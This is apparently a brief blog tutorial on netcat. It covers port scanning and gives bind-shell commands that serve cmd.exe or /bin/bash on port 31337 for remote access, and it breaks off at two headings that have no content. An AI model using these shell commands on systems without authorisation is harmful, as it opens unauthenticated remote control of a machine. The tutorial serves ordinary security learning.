Netcat(popularly known as NC) is feature-rich network debugging and investigation tool with tons of built-in capabilities for reading from and writing to network connections using TCP or UDP.
Its Plethora of features includes port listening, port scanning & Transferring files due to which it is often used by Hackers and PenTesters as Backdoor.
Netcat was written by a guy we know as the Hobbit <email@example.com>.
Some of netcat’s major features are:
- Outbound or inbound connections, TCP or UDP, to or from any ports
- Full DNS forward/reverse checking, with appropriate warnings
- Ability to use any local source port
- Ability to use any locally-configured network source address
- Built-in port-scanning capabilities, with randomizer
- Built-in loose source-routing capability
- Can read command line arguments from standard input
- Slow-send mode, one line every N seconds
- Hex dump of transmitted and received data
- Optional ability to let another program service established connections
- Optional telnet-options responder
Here I will use netcat to perform some port scanning, for transferring file and getting reverse shell.
ALL THIS CONTENT IS FOR EDUCATIONAL PURPOSE ONLY:)
nc -v -w 1 ip -z 1-50
Here z–> zero-I/O mode [used for scanning] , v –> verbose,w means timeout after 1 sec.
netcat -zv ip 1-200
netcat -zvn ip 1-200
-n here stand for no DNS.
Remote Shells in Windows:
To get the CLI of windows, type this command on windows cmd.
nc -Lp 31337 -vv -e cmd.exe
-Lp means even the client close the nc server will be listening for other connection.
-vv more verbose,-e means binding or executing cmd.exe on port.
At Client side,#nc <ip of server machine> 31337
Shell access of Linux on Windows:
At Server Side,# nc -lp 31337 -e /bin/bash
At Client Side, nc <IP address of server> 31337
Banner Grabbing Using Netcat:
Sending and Receiving Files via NC: